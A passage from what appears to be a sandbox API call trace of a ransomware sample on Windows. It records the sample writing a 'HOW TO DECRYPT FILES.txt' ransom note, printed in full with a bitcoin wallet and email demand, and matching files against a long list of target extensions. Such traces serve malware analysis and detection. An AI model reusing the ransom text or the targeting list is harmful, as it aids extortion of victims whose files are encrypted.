(pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*.*") returned="*.*" [0070.208] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" [0070.208] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\") returned="" [0070.208] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO DECRYPT FILES.txt" [0070.208] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\how to decrypt files.txt")) returned 0xffffffff [0070.208] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.208] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.208] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.210] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.210] CloseHandle (hObject=0x94) returned 1 [0070.210] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini" [0070.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.ems") returned 0 [0070.210] lstrlenA (lpString="*.ems") returned 5 [0070.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.db") returned 0 [0070.211] lstrlenA (lpString="*.db") returned 4 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.dbf") returned 0 [0070.211] lstrlenA (lpString="*.dbf") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.myox") returned 0 [0070.211] lstrlenA (lpString="*.myox") returned 6 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.myo") returned 0 [0070.211] lstrlenA (lpString="*.myo") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qbw") returned 0 [0070.211] lstrlenA (lpString="*.qbw") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qbb") returned 0 [0070.211] lstrlenA (lpString="*.qbb") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qbm") returned 0 [0070.211] lstrlenA (lpString="*.qbm") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qbo") returned 0 [0070.211] lstrlenA (lpString="*.qbo") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qbx") returned 0 [0070.211] lstrlenA (lpString="*.qbx") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qba") returned 0 [0070.211] lstrlenA (lpString="*.qba") returned 5 [0070.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qby") returned 0 [0070.211] lstrlenA (lpString="*.qby") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qbj") returned 0 [0070.212] lstrlenA (lpString="*.qbj") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.ofx") returned 0 [0070.212] lstrlenA (lpString="*.ofx") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.qif") returned 0 [0070.212] lstrlenA (lpString="*.qif") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mye") returned 0 [0070.212] lstrlenA (lpString="*.mye") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mbox") returned 0 [0070.212] lstrlenA (lpString="*.mbox") returned 6 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.eml") returned 0 [0070.212] lstrlenA (lpString="*.eml") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.pst") returned 0 [0070.212] lstrlenA (lpString="*.pst") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.ost") returned 0 [0070.212] lstrlenA (lpString="*.ost") returned 5 [0070.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.idx") returned 0 [0070.213] lstrlenA (lpString="*.idx") returned 5 [0070.213] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.dbx") returned 0 [0070.213] lstrlenA (lpString="*.dbx") returned 5 [0070.213] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.sql") returned 0 [0070.213] lstrlenA (lpString="*.sql") returned 5 [0070.213] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mdb") returned 0 [0070.213] lstrlenA (lpString="*.mdb") returned 5 [0070.213] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.fdb") returned 0 [0070.213] lstrlenA (lpString="*.fdb") returned 5 [0070.213] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.wab") returned 0 [0070.214] lstrlenA (lpString="*.wab") returned 5 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.dat") returned 0 [0070.214] lstrlenA (lpString="*.dat") returned 5 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.txt") returned 0 [0070.214] lstrlenA (lpString="*.txt") returned 5 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.214] lstrlenA (lpString="*.jpeg") returned 6 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.jpg") returned 0 [0070.214] lstrlenA (lpString="*.jpg") returned 5 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.png") returned 0 [0070.214] lstrlenA (lpString="*.png") returned 5 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.php") returned 0 [0070.214] lstrlenA (lpString="*.php") returned 5 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.cs") returned 0 [0070.214] lstrlenA (lpString="*.cs") returned 4 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.cpp") returned 0 [0070.214] lstrlenA (lpString="*.cpp") returned 5 [0070.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.rar") returned 0 [0070.215] lstrlenA (lpString="*.rar") returned 5 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.zip") returned 0 [0070.215] lstrlenA (lpString="*.zip") returned 5 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.html") returned 0 [0070.215] lstrlenA (lpString="*.html") returned 6 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.htm") returned 0 [0070.215] lstrlenA (lpString="*.htm") returned 5 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.215] lstrlenA (lpString="*.xlsx") returned 6 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.xls") returned 0 [0070.215] lstrlenA (lpString="*.xls") returned 5 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mp4") returned 0 [0070.215] lstrlenA (lpString="*.mp4") returned 5 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.ppt") returned 0 [0070.215] lstrlenA (lpString="*.ppt") returned 5 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.pptx") returned 0 [0070.215] lstrlenA (lpString="*.pptx") returned 6 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.doc") returned 0 [0070.215] lstrlenA (lpString="*.doc") returned 5 [0070.215] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.dot") returned 0 [0070.215] lstrlenA (lpString="*.dot") returned 5 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.docx") returned 0 [0070.216] lstrlenA (lpString="*.docx") returned 6 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.7z") returned 0 [0070.216] lstrlenA (lpString="*.7z") returned 4 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.tar") returned 0 [0070.216] lstrlenA (lpString="*.tar") returned 5 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.bz2") returned 0 [0070.216] lstrlenA (lpString="*.bz2") returned 5 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.gz") returned 0 [0070.216] lstrlenA (lpString="*.gz") returned 4 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mkv") returned 0 [0070.216] lstrlenA (lpString="*.mkv") returned 5 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.eml") returned 0 [0070.216] lstrlenA (lpString="*.eml") returned 5 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.msg") returned 0 [0070.216] lstrlenA (lpString="*.msg") returned 5 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.edb") returned 0 [0070.216] lstrlenA (lpString="*.edb") returned 5 [0070.216] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.accdb") returned 0 [0070.217] lstrlenA (lpString="*.accdb") returned 7 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.odb") returned 0 [0070.217] lstrlenA (lpString="*.odb") returned 5 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.java") returned 0 [0070.217] lstrlenA (lpString="*.java") returned 6 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.asm") returned 0 [0070.217] lstrlenA (lpString="*.asm") returned 5 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.pfx") returned 0 [0070.217] lstrlenA (lpString="*.pfx") returned 5 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.pem") returned 0 [0070.217] lstrlenA (lpString="*.pem") returned 5 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.p12") returned 0 [0070.217] lstrlenA (lpString="*.p12") returned 5 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.gpg") returned 0 [0070.217] lstrlenA (lpString="*.gpg") returned 5 [0070.217] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.vsd") returned 0 [0070.218] lstrlenA (lpString="*.vsd") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.odg") returned 0 [0070.218] lstrlenA (lpString="*.odg") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.raw") returned 0 [0070.218] lstrlenA (lpString="*.raw") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.nef") returned 0 [0070.218] lstrlenA (lpString="*.nef") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.svg") returned 0 [0070.218] lstrlenA (lpString="*.svg") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.psd") returned 0 [0070.218] lstrlenA (lpString="*.psd") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.vmx") returned 0 [0070.218] lstrlenA (lpString="*.vmx") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.218] lstrlenA (lpString="*.vmdk") returned 6 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.vdi") returned 0 [0070.218] lstrlenA (lpString="*.vdi") returned 5 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.lay6") returned 0 [0070.218] lstrlenA (lpString="*.lay6") returned 6 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.218] lstrlenA (lpString="*.mpeg") returned 6 [0070.218] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.djvu") returned 0 [0070.218] lstrlenA (lpString="*.djvu") returned 6 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.tiff") returned 0 [0070.219] lstrlenA (lpString="*.tiff") returned 6 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.backup") returned 0 [0070.219] lstrlenA (lpString="*.backup") returned 8 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.pdf") returned 0 [0070.219] lstrlenA (lpString="*.pdf") returned 5 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.cert") returned 0 [0070.219] lstrlenA (lpString="*.cert") returned 6 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.docm") returned 0 [0070.219] lstrlenA (lpString="*.docm") returned 6 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.219] lstrlenA (lpString="*.xlsm") returned 6 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.dwg") returned 0 [0070.219] lstrlenA (lpString="*.dwg") returned 5 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.nd") returned 0 [0070.219] lstrlenA (lpString="*.nd") returned 4 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.tlg") returned 0 [0070.219] lstrlenA (lpString="*.tlg") returned 5 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.lgb") returned 0 [0070.219] lstrlenA (lpString="*.lgb") returned 5 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mov") returned 0 [0070.219] lstrlenA (lpString="*.mov") returned 5 [0070.219] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.xdw") returned 0 [0070.220] lstrlenA (lpString="*.xdw") returned 5 [0070.220] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.ods") returned 0 [0070.220] lstrlenA (lpString="*.ods") returned 5 [0070.220] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.wav") returned 0 [0070.220] lstrlenA (lpString="*.wav") returned 5 [0070.220] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.mp3") returned 0 [0070.220] lstrlenA (lpString="*.mp3") returned 5 [0070.220] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.aiff") returned 0 [0070.220] lstrlenA (lpString="*.aiff") returned 6 [0070.220] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.flac") returned 0 [0070.220] lstrlenA (lpString="*.flac") returned 6 [0070.220] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.m4a") returned 0 [0070.220] lstrlenA (lpString="*.m4a") returned 5 [0070.220] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", pszSpec="*.csv") returned 0 [0070.220] lstrlenA (lpString="*.csv") returned 5 [0070.220] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.220] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.220] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.220] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.221] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.221] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini") returned="eula.ini" [0070.221] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" [0070.221] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\") returned="" [0070.221] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO DECRYPT FILES.txt" [0070.221] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\how to decrypt files.txt")) returned 0x20 [0070.221] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" [0070.221] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.ems") returned 0 [0070.221] lstrlenA (lpString="*.ems") returned 5 [0070.221] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.db") returned 0 [0070.221] lstrlenA (lpString="*.db") returned 4 [0070.221] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.dbf") returned 0 [0070.221] lstrlenA (lpString="*.dbf") returned 5 [0070.221] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.myox") returned 0 [0070.221] lstrlenA (lpString="*.myox") returned 6 [0070.221] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.myo") returned 0 [0070.221] lstrlenA (lpString="*.myo") returned 5 [0070.221] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qbw") returned 0 [0070.221] lstrlenA (lpString="*.qbw") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qbb") returned 0 [0070.222] lstrlenA (lpString="*.qbb") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qbm") returned 0 [0070.222] lstrlenA (lpString="*.qbm") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qbo") returned 0 [0070.222] lstrlenA (lpString="*.qbo") returned 5 [0070.222] PathMatchSpecA 